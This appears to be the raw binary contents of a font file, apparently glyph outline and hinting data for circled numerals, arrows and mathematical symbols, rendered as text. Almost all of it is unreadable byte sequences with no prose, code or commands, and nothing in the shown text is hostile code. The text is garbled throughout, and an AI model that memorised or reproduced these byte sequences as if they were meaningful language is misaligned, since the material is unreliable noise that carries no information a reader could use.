�+��28+�201! 4$32#"&5463232654&'>54&#"2#"&546N�K���K�g��g��=;=>?<;=������p$f˻��e#q�0330233��L�7�h������;99;;::G����]|	pS{��{Sp	|�-..-.-.-x��N�
&21�+��-'+�-�+�A��]A)9IYiy������
]A&6FVfv������
]A��]�9�#9A�'�']A')'9'I'Y'i'y'�'�'�'�'�'�'
]�+��
+�
�*0+�*01! 4$32254&#"3267#"&'4632#"&N�K���K�g��g����͸�Ȣ?nrf3i_O�76588567��L�7�h������������!;f)��HBBHHAAx��N�
$0�+��(+�(�"+�"�.+���и/���A��]A)9IYiy������
]A�.�.]A.).9.I.Y.i.y.�.�.�.�.�.�.
]�
/�+���+�01! 4$32!5##7#"&54632"32654&N�K���K�g��g�ِ����&*''*)'')���������L�7�h��������*�&� n��mm��n���������	���=(F  76767654'&'&'!5%3!!  '&'&'&5476767�̆�mo5885om��4��mo5885om�������P�\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�}�9�:�݈�@>}~������~}>@@>}~������~}>	���=A_  76767654'&'&'!!5676767654'&#"5>32  '&'&'&5476767�̆�mo5885om��4��mo5885om��)4�
\��)NBCkPQT`a�F�noIkl�\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6����_��.X<<;_<<5�'(]]�IBBZooV@>}~������~}>@@>}~������~}>	���=Om  76767654'&'&'#"'&'5327654'&+5327654&#"567632  '&'&'&5476767�̆�mo5885om��4��mo5885om�ttBAzy�LOPUD�W�OPJJ���x??�zBLL\R[PG�jkr�=\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�yNNt�aa�'(<<rj<;�0/Z\b�
ST�d�	@>}~������~}>@@>}~������~}>	���= +I  76767654'&'&'!33##!5  '&'&'&5476767�̆�mo5885om��4��mo5885om��h�*˪����+\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6��������@>}~������~}>@@>}~������~}>	���=?]  76767654'&'&'!!67632#"&'532654&#"  '&'&'&5476767�̆�mo5885om��4��mo5885om���z�##$#�ut��K�SLHMV����A@AC�\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6c���nm����)�}|�X@>}~������~}>@@>}~������~}>	���=,Jh  76767654'&'&'"327654'&.#"67632#"'&7632  '&'&'&5476767�̆�mo5885om��4��mo5885om���l@@�lm@??@�=|<�UT/GGV�hiڵ�mn���=|�^\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6��KJ���KK��JK��ll�E&%mn��ޟ�-��@>}~������~}>@@>}~������~}>	���=$B  76767654'&'&'!#!  '&'&'&5476767�̆�mo5885om��4��mo5885om��\�N�����\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6`E��#�@>}~������~}>@@>}~������~}>	���=+BNl  76767654'&'&'"27654'&%.546  &54632654&#"  '&'&'&5476767�̆�mo5885om��4��mo5885om���sBBBB�CBBB��ht�d�thuAB�tԄ9tihvvhit0\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�,=>�=>>>kl>=E�g����g�OOs����s�\hh\]hh�@>}~������~}>@@>}~������~}>	���=<Lj  76767654'&'&'532767#"'&54632#"'&27654'&#"  '&'&'&5476767�̆�mo5885om��4��mo5885om���=|<�UT.GHV�ghڴ�mm���=?>�m@??@ml@@@@J\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6��lk�D%%lm��ޟ���橨KJ��JKKJ��JK�@>}~������~}>@@>}~������~}>	���=+8Ca  76767654'&'&'"32654'.  735733!  '&'&'&5476767�̆�mo5885om��4��mo5885om�T,+VUVV++�2QPPQ�ΠP�3������p\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�{z������~{�����ӟ�>-,��g�%�&�݈�@>}~������~}>@@>}~������~}>	���=
(!5!#%  '&'&'&5476767������{\��|~<??<~|������|~<??<~|���#:�9�q @>}~������~}>@@>}~������~}>	���=#A676767654'&#"67632!5  '&'&'&5476767��lkIon�F�a`TULkCBN)��\���\��|~<??<~|������|~<??<~|� �ooZBBI�]]('�5<<_;<<X.��_��@>}~������~}>@@>}~������~}>	���=1O>54'&#"67632+32#"&'327654'&  '&'&'&5476767irkl�GPQ\\LLBz�??x���JJPO�W�DUPOL�yzAB�2\��|~<??<~|������|~<??<~|��d�TS
�b\Z/0�;<jr<<('�aa�tNN=@>}~������~}>@@>}~������~}>	���=
+!	!335#$  '&'&'&5476767��hn�����o\��|~<??<~|������|~<??<~|����������@>}~������~}>@@>}~������~}>	���=!?67632#"'&'32654'&#"!5  '&'&'&5476767CA@A����VMLHS�K��tu�#$##�\��|~<??<~|������|~<??<~|�=���|}�'���mn%�@>}~������~}>@@>}~������~}>	���=,J2#"&5476.#"32654'&#"67632  '&'&'&5476767Pm@??@ml�@@�C|=⇆nmϵ�ih�VGG/TU�<|=�\��|~<??<~|������|~<??<~|�+KJ��KK���JK�����ӟ�޸�nm%&E�ll�@>}~������~}>@@>}~������~}>	���=$!35$  '&'&'&5476767�>�h����\��|~<??<~|������|~<??<~|�@���fE�@>}~������~}>@@>}~������~}>	���=
$0N2"'&476' 654'&'>54& 74632#"&  '&'&'&5476767YtBBBC�BBBB/t����BAuht���t-tihvvhit0\��|~<??<~|������|~<??<~|��=>lk>>>=�>=E�s����sOO�g����g��]hh]\hh�@>}~������~}>@@>}~������~}>	���=.L%3276'&#"32767#"&'"'&547632  '&'&'&5476767!C>?=ↆmmд�hi�VHG.TU�<|=Al@@@@lm@??@��\��|~<??<~|������|~<??<~|����/��޸�ml%%D�klgKJ��JKKJ��JK�@>}~������~}>@@>}~������~}>	���=
%C2#"&5476$  '!5##7  '&'&'&5476767�e22dedd22��TUUTB�U��¡����\��|~<??<~|������|~<??<~|��{z������z{�����ӟ�>-/��g��#&�%�q @>}~������~}>@@>}~������~}>u�Pj	!!5!!P���p��#��@��p�p�pt�	7%�����F�N����4�NGu�P85	z��D��<2�2p�J�J�t�	'-Z�K�����F����G�NuP�!!u��\l������E�>�~~�>uu�2"&'&'&5476?!".'&47>3!'&'&54767>2	�p4,
		���,$
		
$,��		
,4��2�p
�"2"�
�pu�P8!5!	���%��JZP��J�Ju�P8!5!	���%��J�H�J�Ju�P8#3#3#3!!5	���xx�<<�o���J���p��p��p��J�Ju�P855!#3#3#3������oP��xx�<<���΄��ΊX��X��X��Xu^}�	!!Y$�������%���PD!	6����>l������>�>��PD	!	��D�R�>l������>�>�P	B��l�����v�vu�Pb3!5	5!"'&'&'&u##+*15��J��1*+##��0+*%!�J�J�!%*+u�P847676763!5	5!"u##+*15��J��1*+##�0+*%!�J�J�!%*+0���!!	^��r{��VXe�o�ou�P855!���D��q���΄��Ξ0u�j%5!!53		!<�9�����h�9�����>����u�j%5!!53		!<�9����h�9�����>����+Z�!73#57!!+ I�d�&��+ъ����������2�&����+Z�5!'53#'!!!+����d�������I���|��&�2���������2�
!'!'!53	!�O��dcn�d����h��������������2�
3#5!7!!!	�n�d�n��d;��c��h����������dd�!53#'5!'!	!�]n�2�n2��2�r-��h���J��d�c;dJ�����dd�7!573#5!!	!�2+2n�2�n���r-��h��LJd;c�d��J�����<����!6767632#"'&'&'!	<'CZmo~yti^Z...*^Vqo~yti^?)X�6nGCZ.//+]Yon�zqi_X0//+]>I��ʞ	�BP�"&*.37#37#37#37#5!!!!3'#3'#3'#3'#�<���<���<���<�x�����í�y���_<�<(<�<(<�<(<�<Z��������P��������h��������pt>7&#"7'7	!%��*��BF��8����WU�{�FC��*��9o�X�:�W��ubP�55!5!!'!���������X����X����dd��PR������t�'327''	!!i�FB��*��8����X:�����*��CF��9����XU��pt>2%&#"6767&'&"67632&'&547676767t��BEHY'��#&N'$�X$)./,0+"""� /%Hp*G&/�$##*0,0.+"�W!'&'&#��'ZGGC�uaP�/4767!"!47676763"'&'&'&5!3!&'&5P��%�T)#$��"/*11*/"X$#)�%��e�eZ'&$(0+.!"-+0($&'Ze����t�2&'&'&'&54767#"'&'2767&'&'32t)H%���X"""+0,0-+"�$'N&#/'YHEB����CGGZ'��!&'&'$�W"+.0,0*##"�/&Gs�PX+B6%"'&'&'&547676$47676762"'&'&'&'&'&547676762$/�+�z>�_$#R#af����#R#)�>x��bQu���R$'�68�" ��vc�<�.676767632#"'&'&'&%&'&54767&'&5476�A ''+/54<3���o�8n23'9%%b��b%�&:?$ fLLf#&#/:&'+-23-+'�rr�'+-32-+�V2�e"'&'.54?654'&'&'&#!"#!".4?64/&4676763!23!276767654/&546767622�	��Z��rrd	Z	���	c�
��
�c	���2g"'&'.54?654'&'&'&+"#!".4764'&4676763!2;276767654/&546767622�pW\x�j���	�\W����	��
 4
���	��u�P^+#76767&'&/3#6767!5!!5!&'&'P�S�Jl
R�&GG&�R
lH�S��i*���n:

:n�**�OU��ä'66'����U��=;JHd��)�))��dHJ;=���&$*'$4767654#"'673 327�	�5��"4
:<+����$
�F&
��H
(+��-
2Ad��q�1�)�+#������&'732767$76545476;&#""O+
(H$OCY��M�<J[G
D�.9����+�{?�I#��dAPB�B���F2��S�#�u		!	!����
���j�.u���-1������	3%!!!!����������U���2xx��x���#3	!7!!7o�������U��������x2x���!!���1m�����p�p����	!!�2���m��p�������'PP������'QQT`�	'#'#'##'���R���KK���R���@�R�"~����KK�L����R��V��b�#73373737���@�R���KK���R���R����LKK���~�"R�]�z?3276767654'&'&'&#"7#7676767632#"'&'�<JHUYGK<9! <:LHUVJI>9!���w��w��
"3\^wv��lyZ^2103\^wv��ox[�9! <:LHUYGK<9!>9M���w���WOw\^2106Y^wv��ow\^2104[.]�z?#"'&'&'&54767676327#7&'&'&'&#"3276�[xo��vw^\3012^Zyl��vw^\3"
ˑ�w��w��!9>IJVUHL:< !9<KGYUHJƪ[4012^\wo��vw^Y6012^\wOWˑ�w���M9>!9<KGYUHL:< !u���$%9M'7! &'&'&'#536767> !'7$"!3!&'&'&'!#!2767676�w���1cb���bc1��1cb��bc1
-Ƒ���TSEF"e�e
"FES����"FEST�TSEF"Ȍ�w��GAvcbddbcvAG�HBwcbddbcwBHƑ##EFS $�� SFE#���$SFE####EFSd�Q	��	
���2@	@@	00	]1@
	o
��99��0@		o	�<<@o�<<�KSX�	<<�o		�o�Y5!!d���	K��Ƒ<�����Ƒu�Q	��	
���2@	OO	__	]1@
	o
��99��0@		o	�<<@o�<<�KSX�	<<�o		�o�Y'7!5!'7�w���	KƑȌ�w���Ƒd�Qڶ
	��2��2@
PP_
_O
O]1@
	
o
��9�2�20@

o�<<@o�<<@

	o		
�<<@o�<<�KSX�
<<<<�o�o�o

	�o�Y5!'7'7!d���Ƒ��w���Ƒ<����Ƒ�w��w��Ƒd�Q!!5!!�	x�(S��w��S��K7�S�����S�Ku�Q7'!5!'7'7!5	�KK���S���w�S�(7KK�S��w��w�S�d�Q7'!!5!'7'	�KK��KK��S��w��S"S���w�7KKKK�S�����SS��w��w�d�Q
!5!3#
��Ƒ�w���[��
Ƒ�����6��u�Q
!'7'7!#3e[Ƒ��w������Ƒ�w��w���\d�Q!!!5!53#
�xKK��S��w��S����KK�S�����S��u�Q!7'#3!'7'7e�KK�x���S���w�S͖KK���\�S��w��w�Su�Q#5377777!'7'7#'''QcyA��������cƑ��w��������mc������cƑ�w��w�ƛ��������,��@,���,��+,���,��@',�,���,��,���,��@',�,���,��+',�,���,��@',�',�,�����@����,�@',�����,�@',�����,�@',�',�����,�@',�����,�@',�',�����,�@',�',�����,�@',�',�',�������+����,�@',�����,�+',�����,�@',�',�����,�+',�����,�@',�',�����,�+',�',�����,�@',�',�',�������@'������,�@',�'������,�@',�'������,�@',�',�'������,�@',�'������,�@',�',�'������,�@',�',�'������,�@',�',�',�'������������,�@',�����,�+',�����,�@',�',�����,�',�����,�@',�',�����,�+',�',�����,�@',�',�',�������@'������,�@',�'������,�@',�'������,�@',�',�'������,�@',�'������,�@',�',�'������,�@',�',�'������,�@',�',�',�'��������+'������,�@',�'������,�+',�'������,�@',�',�'������,�+',�'������,�@',�',�'������,�+',�',�'������,�@',�',�',�'��������@'��'������,�@',�'��'������,�@',�'��'������,�@',�',�'��'������,�@',�'��'������,�@',�',�'��'������,�@',�',�'��'������,�@',�',�',�'��'������,�p�,�p��,�p�@',�,�p��,�p�+',�,�p��,�p�@',�',�,�p��,�p�',�,�p��,�p�@',�',�,�p��,�p�+',�',�,�p��,�p�@',�',�',�,�p��,�p@'��,�p��,�p@',�'��,�p��,�p@',�'��,�p��,�p@',�',�'��,�p��,�p@',�'��,�p��,�p@',�',�'��,�p��,�p@',�',�'��,�p��,�p@',�',�',�'��,�p��,�p+'��,�p��,�p@',�'��,�p��,�p+',�'��,�p��,�p@',�',�'��,�p��,�p+',�'��,�p��,�p@',�',�'��,�p��,�p+',�',�'��,�p��,�p@',�',�',�'��,�p��,�p@'��'��,�p��,�p@',�'��'��,�p��,�p@',�'��'��,�p��,�p@',�',�'��'��,�p��,�p@',�'��'��,�p��,�p@',�',�'��'��,�p��,�p@',�',�'��'��,�p��,�p@',�',�',�'��'��,�p��,�p'��,�p��,�p@',�'��,�p��,�p+',�'��,�p��,�p@',�',�'��,�p��,�p',�'��,�p��,�p@',�',�'��,�p��,�p+',�',�'��,�p��,�p@',�',�',�'��,�p��,�p@'��'��,�p��,�p@',�'��'��,�p��,�p@',�'��'��,�p��,�p@',�',�'��'��,�p��,�p@',�'��'��,�p��,�p@',�',�'��'��,�p��,�p@',�',�'��'��,�p��,�p@',�',�',�'��'��,�p��,�p+'��'��,�p��,�p@',�'��'��,�p��,�p+',�'��'��,�p��,�p@',�',�'��'��,�p��,�p+',�'��'��,�p��,�p@',�',�'��'��,�p��,�p+',�',�'��'��,�p��,�p@',�',�',�'��'��,�p��,�p@'��'��'��,�p��,�p@',�'��'��'��,�p��,�p@',�'��'��'��,�p��,�p@',�',�'��'��'��,�p��,�p@',�'��'��'��,�p��,�p@',�',�'��'��'��,�p��,�p@',�',�'��'��'��,�p��,�p@',�',�',�'��'��'��,�p����p��p��,�p@',���p��,�p+',���p��,�p@',�',���p��,�p',���p��,�p@',�',���p��,�p+',�',���p��,�p@',�',�',���p����p@'����p��,�p@',�'����p��,�p@',�'����p��,�p@',�',�'����p��,�p@',�'����p��,�p@',�',�'����p��,�p@',�',�'����p��,�p@',�',�',�'����p����p+'����p��,�p@',�'����p��,�p+',�'����p��,�p@',�',�'����p��,�p+',�'����p��,�p@',�',�'����p��,�p+',�',�'����p��,�p@',�',�',�'����p����p@'��'����p��,�p@',�'��'����p��,�p@',�'��'����p��,�p@',�',�'��'����p��,�p@',�'��'����p��,�p@',�',�'��'����p��,�p@',�',�'��'����p��,�p@',�',�',�'��'����p����p'����p��,�p@',�'����p��,�p+',�'����p��,�p@',�',�'����p��,�p',�'����p��,�p@',�',�'����p��,�p+',�',�'����p��,�p@',�',�',�'����p����p@'��'����p��,�p@',�'��'����p��,�p@',�'��'����p��,�p@',�',�'��'����p��,�p@',�'��'����p��,�p@',�',�'��'����p��,�p@',�',�'��'����p��,�p@',�',�',�'��'����p����p+'��'����p��,�p@',�'��'����p��,�p+',�'��'����p��,�p@',�',�'��'����p��,�p+',�'��'����p��,�p@',�',�'��'����p��,�p+',�',�'��'����p��,�p@',�',�',�'��'����p����p@'��'��'����p��,�p@',�'��'��'����p��,�p@',�'��'��'����p��,�p@',�',�'��'��'����p��,�p@',�'��'��'����p��,�p@',�',�'��'��'����p��,�p@',�',�'��'��'����p��,�p@',�',�',�'��'��'����p��,�p',�p��p��,�p@',�',�p��p��,�p+',�',�p��p��,�p@',�',�',�p��p��,�p',�',�p��p��,�p@',�',�',�p��p��,�p+',�',�',�p��p��,�p@',�',�',�',�p��p��,�p@'��',�p��p��,�p@',�'��',�p��p��,�p@',�'��',�p��p��,�p@',�',�'��',�p��p��,�p@',�'��',�p��p��,�p@',�',�'��',�p��p��,�p@',�',�'��',�p��p��,�p@',�',�',�'��',�p��p��,�p+'��',�p��p��,�p@',�'��',�p��p��,�p+',�'��',�p��p��,�p@',�',�'��',�p��p��,�p+',�'��',�p��p��,�p@',�',�'��',�p��p��,�p+',�',�'��',�p��p��,�p@',�',�',�'��',�p��p��,�p@'��'��',�p��p��,�p@',�'��'��',�p��p��,�p@',�'��'��',�p��p��,�p@',�',�'��'��',�p��p��,�p@',�'��'��',�p��p��,�p@',�',�'��'��',�p��p��,�p@',�',�'��'��',�p��p��,�p@',�',�',�'��'��',�p��p��,�p'��',�p��p��,�p@',�'��',�p��p��,�p+',�'��',�p��p��,�p@',�',�'��',�p��p��,�p',�'��',�p��p��,�p@',�',�'��',�p��p��,�p+',�',�'��',�p��p��,�p@',�',�',�'��',�p��p��,�p@'��'��',�p��p��,�p@',�'��'��',�p��p��,�p@',�'��'��',�p��p��,�p@',�',�'��'��',�p��p��,�p@',�'��'��',�p��p��,�p@',�',�'��'��',�p��p��,�p@',�',�'��'��',�p��p��,�p@',�',�',�'��'��',�p��p��,�p+'��'��',�p��p��,�p@',�'��'��',�p��p��,�p+',�'��'��',�p��p��,�p@',�',�'��'��',�p��p��,�p+',�'��'��',�p��p��,�p@',�',�'��'��',�p��p��,�p+',�',�'��'��',�p��p��,�p@',�',�',�'��'��',�p��p��,�p@'��'��'��',�p��p��,�p@',�'��'��'��',�p��p��,�p@',�'��'��'��',�p��p��,�p@',�',�'��'��'��',�p��p��,�p@',�'��'��'��',�p��p��,�p@',�',�'��'��'��',�p��p��,�p@',�',�'��'��'��',�p��p��,�p@',�',�',�'��'��'��',�p��pd�?Q!!!5!53#O�<KK��S��w��S$���KK�S�����S��u�PQ!7'#3!'7'7e�KK�<��$S���w�S͖KK���\�S��w��w�S��	'#'##'��R�v�v�R����R�g9v�Q�v���R���!#733737�����R�v�v�R��R���v��Qv9�gR��]�� A3276767654'&'&'&'476767#"'&'&'&� <:LHUYGK<9!>9M����G89!�03\^w���ZMw\^2106Y^wv��ow\^21�YGK<9! <:LHUVJI>9!��5 9:LHU�ow\^2���
!3\^wv��lyZ^2103\^wv�]�� A4'&'&''7327676767#"'&'&'&547676767'7�!98G�ˑ�M9>!9<KGYUHL:< �12^\wo��vw^Y6012^\wMZ̑�w^\30�UHL:9 �ˑ�!9>IJVUHL:< !9<KGY�vw^\3012^Zyl��vw^\3!
̑�w2^\wo��/0&767#";!"&?6&+7326?>3m-D�"�,-�z$-@��5�f�D�5���+-V�> >��-+��<D���:8���IN�xW��X�Xx���t�s��ݓH��.7&76&'>7!2;#"#!732676&+4��*-$d��<�Z1��/��+-V�> >��-+���5�f�D�5NI�8:��X�D<����s�t��ݔxX���W���g	
%
5��<�'������������������
3	5��j�'��
����������
#3	�����<
�����{
�����'e			����''���6�U����U��'e		'���''���cU����U�����'e		'���''cU����U��'f			'��f���U��:�:��U�����'f			'���f��U�8U�����#�u	���u���-��3!3!!#!#!5��������������������333333#######5S���zz���z��������������:�O�� :!!" 767>54'&'&'&$  $'&'&547676����z�eig44hi}&�eig44hlz���V��GFFG�����r����GFFG��.���48fj���~�fh4666fj���}�fk34�������ū����������ʪ���:�O��6B" 767>54'&'&'&$  $'&'&547676!!#!5!�z�eig44hi}&�eig44hlz���V��GFFG�����r����GFFG���
���
�48fj���~�fh4666fj���}�fk34�������ū����������ʪ���������:�O��6B" 767>54'&'&'&$  $'&'&547676			'	�z�eig44hi}&�eig44hlz���V��GFFG�����r����GFFG���sq���r������q���48fj���~�fh4666fj���}�fk34�������ū����������ʪ������q������r���qs���/
,'��'��'����/c#5!67676&!!'&'7767�:#mD�K6�<A ��2mD�K6�<A/��U5O9�:[�<�J�U5O9�:[��/c+5!67676&!!!!'&'7767!5!7�JmD�K6�<A
��+��!mD�K6�<A��*���U5O9�:[����/�U5O9�:[����/c#%'&'77675%67676&�B��0mD�K6�<A#��X-mD�K6�<A�����_�U5O9�:[��v�U5O9�:[�/c>I%'&'7767'&'&'&54767676767676&&'&'67k?J "mD�K6�<AK>>>?J "mD�K6�<AP;; �$��0"#�>
�՜U5O9�:[>?JKVXKK>?
'�U5O9�:[��":;PG*#�n�b11S$�/�D65'67673''&'776?&'&'&'&5367676&],:�d�h^##B<\mD�K6�<A+(XC>'%�*-6HmC��K6�;B�5>\�/��h[aUTE>&���U5O9�:[�
$A<]Y]7<7*,�U5O9�:[�/c'!!!!67676&!!'&'776� ���] lD�K6�<A
n�MlD�K6�<B�����*��U5O9�:[��(؝T5O9�:�/c;?%'&'7767367>54'.'&"67676&!!�4.mD�K6�<A!HD:+.N&N//4-A"mD�K6�<AlTD&$$$IF�Y ��T�U5O9�:[�)N\59,/NԜU5O9�:[�$UD]Y�WWIF@���.5;!!&676$&632''&'7767327654'&� ��hMWS,mDK6�<A
47ʑ�H�W��mD��K6�<A-6aC��?^lO���� $|k�U5O9�:[����e��$GA��U5O9�:[o�8(6N��;,�/cSW67>54'.'&&767676&'&'776?&'&'&'&4767676!!A8+.N&N//44//N&N./(mD�K6�<AlTD&$$$IFY4.mD�K6�<BTKG&$$'FJX: ��N\59,/NN/,95\N��U5O9�:[�$UD]Y�WWIF&�U5O9�:[�	!KH]X�W^BH"�����/c#'+7!767676&!!'&'776?3!#3tomD�K6�<A-��mD�K6�<A.#����fN���U5O9�:[�h��U5O9�:[������/s@'&'7767#5367676&32#5676'&'&#�3mD�K6�<A0�t��:t��%mC��K6�;B"�6*0#"&$#0)7 �6�U5O9�:[��t:p:t��U5O9�:[�$#!2-41`##��/c)'&'7767'	767676&7	�#mD�K6�<A��'�؆� mD�K6�<A����(�;��U5O9�:[���')����U5O9�:[������م�/c376?67676&#4'&''&'7767#�UL�mD�K6�<A
m?U�$
EmD�K6�<AD'$�,k`ԜU5O9�:[�Ib��T��3�<�U5O9�:[�.��T�/c3'&'7767&'&367676&67653�UJ�mD�K6�<ArAU�$?mD�K6�<A="$�f��k^�МU5O9�:[Kb��T�3
n�U5O9�:[��.���/b0!#"'&'7327067632&#"0!5!�mD�K6�<AcmD�K6�<Ah�@���W6N8�9\f�W6N8�9\���b!#"'&'7327067632&#"0!!�mD�K6�<AcmD�K6�<A�<��@��W6N8�9\f�W6N8�9\�,���)��������H'���������H'����'������
5	5���<��:��������������
55������:��1I��1�1�J���
5	53#���<�����:�����������B�����
55%3#������<��:��1I��1�1�J�������
5	5%3#���<�����:�����������s������
553#��������:��1I��1�1�J�������
5	53#���<�����:������������������
55	3#������<��:��1I��1�1�J���C�
;B#"'&'&'&#"5>32326#"'&'&'&#"5>32326
5�j�`k��^X�bi�an�
�^V�gj�`k�	�^X�bk�`k��^V�f����U�PE:=MS�NE;=K���PE:=LT�PE:>K����P�N�C�
;B#"'&'&'&#"5>32326#"'&'&'&#"5>3232655%�j�`k��^X�bi�an�
�^V�gj�`k�	�^X�bk�`k��^V��d���U�PE:=MS�NE;=K���PE:=LT�PE:>K��������
%!!'7!5!7%5����O��’�O�K>u�M����c��u��̵�N���5!!'7!5!75%���O��’�O�K>��;����j��u��������
3:3267#"'3267#"''7&#"5>327&#"5>32
5��C2'V�gj�`@L&zOV�gj�`k�F�F2'X�bk�`?M&zOX�bi�aj�������E�KU�PEq,KU�PE:�E�LT�PEs+MS�NE8���P�N���
3:3267#"'3267#"''7&#"5>327&#"5>3255%��C2'V�gj�`@L&zOV�gj�`k�F�F2'X�bk�`?M&zOX�bi�aj�������E�KU�PEq,KU�PE:�E�LT�PEs+MS�NE8��������5!5!-5
%%�������������\��r�������������i�����!5!!5!%%55%�����������\�����i��w��������:&#"'&/&#"5>32326!!
5�j�`k��^X�bi�an��^V��e��������PE:	=MS�NE;=K�F�����P�N���:&#"'&/&#"5>32326!!55%�j�`k��^X�bi�an��^V��e�������PE:	=MS�NE;=K�F�������
�")#"'&/&#"5>32326-5
%%�j�`k��^X�bi�an��^V��e����������PE:	=MS�NE;=K�o������ ����i��
�")#"'&/&#"5>32326%%55%�j�`k��^X�bi�an��^V�g���������PE:	=MS�NE;=K�o��i�����������B!!!!55%
%%����������������|�3�����W����i����B!5!5
%%55%��������������������E����i����������,55%-5
%%��������������������v����������i����,5%%5%%55%���������������Q���T��i��{���������
	55�����<�1�������������
5	5����<���1���LJ��1�1����
	55%3#�����<���1����������������
5	53#����<�����1���LJ��1�1�����m!5!!5!5�����������`�N�P�����m5!5!-5���������������:�����[��	555����������P�����P���N�P���[��55-5������������#��;������p$.#"#"&'532767676325�g�V^�
�na�ib�X^��k`�j����UK=;EN�SM=:EP�K�N�P����p$.#"#"&'53276767632-5�g�V^�
�na�ib�X^��k`�j�������UK=;EN�SM=:EP�K�������%,!!!!.#"#"&'532767676325�����g�V^�
�na�ib�X^��k`�j�����|��UK=;EN�SM=:EP�[�N�P�����%,!!!!.#"#"&'53276767632-5�����g�V^�
�na�ib�X^��k`�j��������|��UK=;EN�SM=:EP�[�����-�@ $!!!5!676762!!&'&'&!!����A%0�M
6WY�YV7
�N0/�H���7'H?a�93[2332[0<�f:H'%�,��U�y%!5%5$������|���}�C���US����x��|��U�y7!!%$�����}��|��C���|��SU��y7!!!'7!%5$�>��~����~�K����|���}�CMu��u��US����x��|���y7!!!'7!%$�>��~����~�K��}��|��CMu��u���|��SU�]�a!5!5%5$������-�&���o�b���n����%$���ff�uW�]�a!5!5%$����b��o��&�-���n�����u�f��$%���a
%5$!!!'7!5!7!5!7��-�&���o�b�,J�Xv�2���J���v�2D�%$���ff�uW�X���uW���uW���a
%$!!!'7!5!7!5!7�b��o��&�-�,J�Xv�2���J���v�2D��u�f��$%�t���uW���uW����;F#"'&'&'&#"5>32326#"'&'&'&#"5>32326%5$�j�`k��^X�bi�an�
�^V�gj�`s�	�^X�bk�`k��^V�g��-�&���o�b
�PE:=MS�NE;=K���PE:=LT�PE:>KR�%$���ff�uW����;F#"'&'&'&#"5>32326#"'&'&'&#"5>32326%$�j�`k��^X�bi�an�
�^V�gj�`s�	�^X�bk�`k��^V��eb��o��&�-
�PE:=MS�NE;=K���PE:=LT�PE:>KR��u�f��$%�y��3>3267#"'3267#"''7&#"5>327&#"5>32%5$��C2'V�gj�`@L&zOV�gj�`k�F�F2'X�bk�`?M&zOX�bi�aj����-�&���o�b�E�KU�PEq,KU�PE:�E�LT�PEs+MS�NE8�%$���ff�uW�y��3>3267#"'3267#"''7&#"5>327&#"5>32%$��C2'V�gj�`@L&zOV�gj�`k�F�F2'X�bk�`?M&zOX�bi�aj���b��o��&�-�E�KU�PEq,KU�PE:�E�LT�PEs+MS�NE8���u�f��$%�q��5%5
5����������P�#�P�����P�N�q��55%���������P�fP����������
!	!'	h��C�@�����?���)C�?��r���@h������
777!%	LC���@C��{�����?�C�@��C��?���������
!7	7hC�?��C)���@h���C���?C���h�@�������
!''	!	L)C���?8����h�@���C���@�������?7^P�	%	!	!%7'!55![��$�$��/]�����^$$��%���%-��__��_7^?�%	!![��$�^$$��6~	!!6$$���$���6��~�	!!~���%���$������!'	��?������@h������	������?���?���������7	7��@h��0��h�@�������!	����h�@0�����?7^P�	%	!	![��$�$��/^$$��%���%6��~	!	!!	!Y%���%��$$����$�$��u��g�#75!5!7ތ�w��U�Ƒ4�����&Ƒu
g8	'!5!5'����e�Ƒ�8�w��&��Ƒ�M��?�7!!7�w����UƑ�w4������Ƒ�wM
?83'!!'֌�����eƑ8�w�����Ƒ���%!%!!��W7�� ��r����%!!!��W7�� ������%!!,7��r�<�R �����%!!c��r�<�R ���!%	v����
��dxx������!%	�u��
���������!%	!	�uv�}
����x����!%!	����
��x��������%	
#)-17#535#5#5#5##5#5#5##5##53#5#5#5##5��qrrrr�����Mrq�����r�rrrr�rr�tr������$tttt��rttttt��rt��������tr�$���#	!$VV�����m���$���#	!	!�z�0��VV�������O�m�����Ff�			vv����r��5��k�k����\��S���S��Ff�7	����\��S���S"����	!	�R�[��RG���p��($  %p��������@�*����X�֖�M���M	:l���L����F M���M			��N� l��������V����F ����!3#3#!!#3+3M�5�2�2�3��8��U�3�3�2�������������#3!3#3#!#�3�3�PfP�3�3�2�F��F�2m��a��������i����!676?3!!#6767M���JGgC�8�۔�IIj�C 9�JH�����;�JI%��! !#!#3327676'&+3M��.-����e���3�N�oIG32p��3���~��l��O76dd66N��o�f��	)27676&+! !&'&+;# '&y>=Xy�K�L'�)��L23&�fn!10^mR01x<9N��}|6?--gfX����֔�-@@��Xsp))�\�CC�݊������'0!7#"''7&7676!37&'&#"6763 	3276?/Z�/&|�� \cc�rMz^w:&��"U};�shg^5xwwt	v�\��&OeTS�e�t����f./+l^j^��\\o'.[���%IHm)��B?�33!;!"'#&7#3�=����2��\�2��oIj��*"\�2�=���3���ÞN��:[��>��J��;�70��( )7676'&'&#"!!67632!!���O  .pQQk��/fudddn�NM,Zgb��o��77#WV�����b./ww�3�J����!!#!!!&w��>b� r�"�j����#��AL����!�=0���!!	3!#!_f����y,�b��7K��[����������-��
�!!!!7!#�-�#�w��>��-����7��A�����`!!!!7!��0�:h��7��0��`������fb����7!!7# !226&#"-m���,{�����������^����^���+ނy���z������S�f��%!#3267#!!!�6����N9Qx������"�����#�����%�������
!!!!!GZ�����5����gY��+������=�%%!!6$3 !"&"3267654'&k-��#m,{��YB�M�����/&B���/'C���ނyؑ�cq���Pzy��dQrJ~��dPsJ~�a{0!!!2#76.#"��c�w�f�-�e�D�(' ��A`�� d�f<!9!"�
�0!!!!!2#76'&#"Z�E�D2��DAq0�s.H�E�MJ*�
Q��o����=���a][��E��{0!!!!!2#76.#"���y(���yN\&S+(ę5e�D�'K�9��`����Zd�f<!9!Z~�!!'?67632%7676#&47�g�m�wpp(u	0zo��D2E��6;X�����)�.��=8#?�H%*K�+��!!!!M�n�9�d{�����?�`!!!!fS�+�9\��`�V�'��j2!$763676'&s�s�9`����`5à�-;;/xL^f7)L�4j����@@����TU}�d���xa�EF��<$32767654'&+7!2!#7#"'&'S*-,/�ZN"if�.�U8��$Ybd}'1
